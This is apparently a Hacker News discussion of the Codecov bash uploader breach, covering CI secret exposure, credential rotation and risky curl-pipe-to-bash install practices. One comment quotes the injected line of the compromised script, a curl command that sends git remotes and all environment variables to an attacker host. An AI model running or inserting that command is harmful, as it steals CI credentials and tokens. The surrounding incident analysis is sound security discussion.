Interesting that no hash/checksum verification has been added in their CI actions, like here, yet: https://github.com/codecov/codecov-action/blob/master/src/index.ts#L11-L16 https://github.com/codecov/codecov-action/blob/master/src/in...

throwbacktictac 5y ago
Looks like a PR [1] was started 4 hours ago but for such a simple task not much progress has been made. Security breaches happen. If it hasn't happened yet consider it luck. I'm disappointed by the lack of urgency in the response and failure to take nominal steps in improving their posture. I hope this is a wake up call for them and other Saas companies. [1]https://github.com/codecov/codecov-action/pull/282 https://github.com/codecov/codecov-action/pull/282

koolba 5y ago

> How do I know what environment variables of mine may have been available to the actor? Collapse > You can determine the keys and tokens that are surfaced to your CI environment by running the env command in your CI pipeline. If anything returned from that command is considered private or sensitive, we strongly recommend invalidating the credential and generating a new one. Additionally, we would recommend that you audit the use of these tokens in your system. Be aware that the output will be sent to your CI output logs. If those logs are public (e.g. a FOSS project) then they will be publicly published and expose all your environment secrets.

tyingq 5y ago
> How do I know what environment variables of mine may have been available to the actor? Isn't that a tiny portion of what you would have to worry about? They seem too confident that they know exactly what unintended code was in the bash uploader script for the entire duration. Is there something about the setup that gives them that confidence?
mhils 5y ago
Most (all?) major CI providers automatically censor secrets printed in the worker log, so this is not as much of a concern. :)

vgrigoruk 5y ago

Is it safe to assume that https://codecov.io/env https://codecov.io/env was not compromised?

humanfromearth 5y ago
Given other comments in this post, I think at this point it's not safe to assume that.

throwawaaaaaaay 5y ago

"Is it safe to use Codecov systems and services? Yes. Codecov takes the security of its systems and data very seriously and we have implemented numerous safeguards to protect them."

davidrans 5y ago

From Eli Hooten, CodeCov's CTO, in a personal message: > Based on the nature of this attack I do not believe malicious actions were executed directly against the CI pipeline, nor do we have any evidence of it. I have included the malicious bash script for your review so you can fully understand the scope of the attack. Of interest is line 525 > line 525 was the only change we've observed. I have removed the IP address in the curl command as it is part of an ongoing federal investigation Compromised script: https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a4a1d10 https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a... And here's line 525: curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http://ATTACKERIP/upload/v2 || true

YPCrumble 5y ago
So the hackers stole every environment variable for the context in which the Codecov script was run. It means that if you use CI to deploy your code, all of your credentials have been leaked.
rdsubhas 5y ago
Most CI sytems have Github Token as an environment variable. That provides a second layer of attack. Attacker by this time could have cloned all repositories, so whatever config, credentials, service account files or anything inside these repos are also assumed to be compromised. Not just environment variables.
goerz 5y ago
Why doesn’t GitHub Actions limit the environment variables it exposes to jobs/steps? The codecov step doesn’t need my GitHub or PyPI tokens! Environment variables should be opt-in for every step in the pipeline: I should have to explicitly list every environment variable I want to expose. This leak is as much on GitHub as it is on Codecov
- mhils 5y ago
  GitHub actually introduced "Environments" recently, which allow you to do what you are asking for. Lots of existing pipelines haven't migrated yet of course. https://docs.github.com/en/actions/reference/environments https://docs.github.com/en/actions/reference/environments

Waylander_k 5y ago

Does anyone have the bash uploader script on hand with version 20210309-2b87ace?

deeebug 5y ago
This looks to be that version: https://github.com/ehmicky/dev-tasks/blob/1f6cd2a9c7bc2146b7d7d04a18e5d60bcf58ab62/src/tasks/cover/codecov.sh https://github.com/ehmicky/dev-tasks/blob/1f6cd2a9c7bc2146b7... Though this was uploaded before April 1, and it doesn't appear to have any malicious code.

rdsubhas 5y ago

Building the entire backbone of a CI product based on `bash <(curl` script. Honestly. This is more like Play stupid games, win stupid prizes. Did someone even attempt to google "don't run random scripts from the internet" here? There is a world of a difference between offering a "bash <(curl" for one-off development/laptop use vs. giving official instructions to put it in a automation scripts. If someone is uploading code coverage reports for some language – they have way better, safer options. Maven packages, `go run`, npm packages, deb packages, etc. All of these have better security and checksumming built in. From what's seen in the report, even all their other products (github app, etc) were built on top of this bash uploader script, and even their own hosted solutions did not validate their checksum. Looks like they were pretty seriously pushing "just source a script from internet" as an official principle. Of course the CI was backdoored. Facepalm.

whydoyoucare 5y ago
"bash <(curl" is the new cool. Mind-boggling number of projects pull this sh*, look at https://brew.sh/ https://brew.sh/ for instance.

eltron3030 5y ago

Bleeping Computer may have identified the attackers IP in a screenshot? https://www.bleepingcomputer.com/news/security/popular-codecov-code-coverage-tool-hacked-to-steal-dev-credentials/ https://www.bleepingcomputer.com/news/security/popular-codec... 104.248.94.23

enapupe 5y ago

shouts to whoever is out there rotating keys since the announcement of this incident.

rognjen 5y ago

This is a very concerning trend. The reliance on external tools is causing them to be a much more frequent attack vector. SolarWinds, the Github actions thing, this.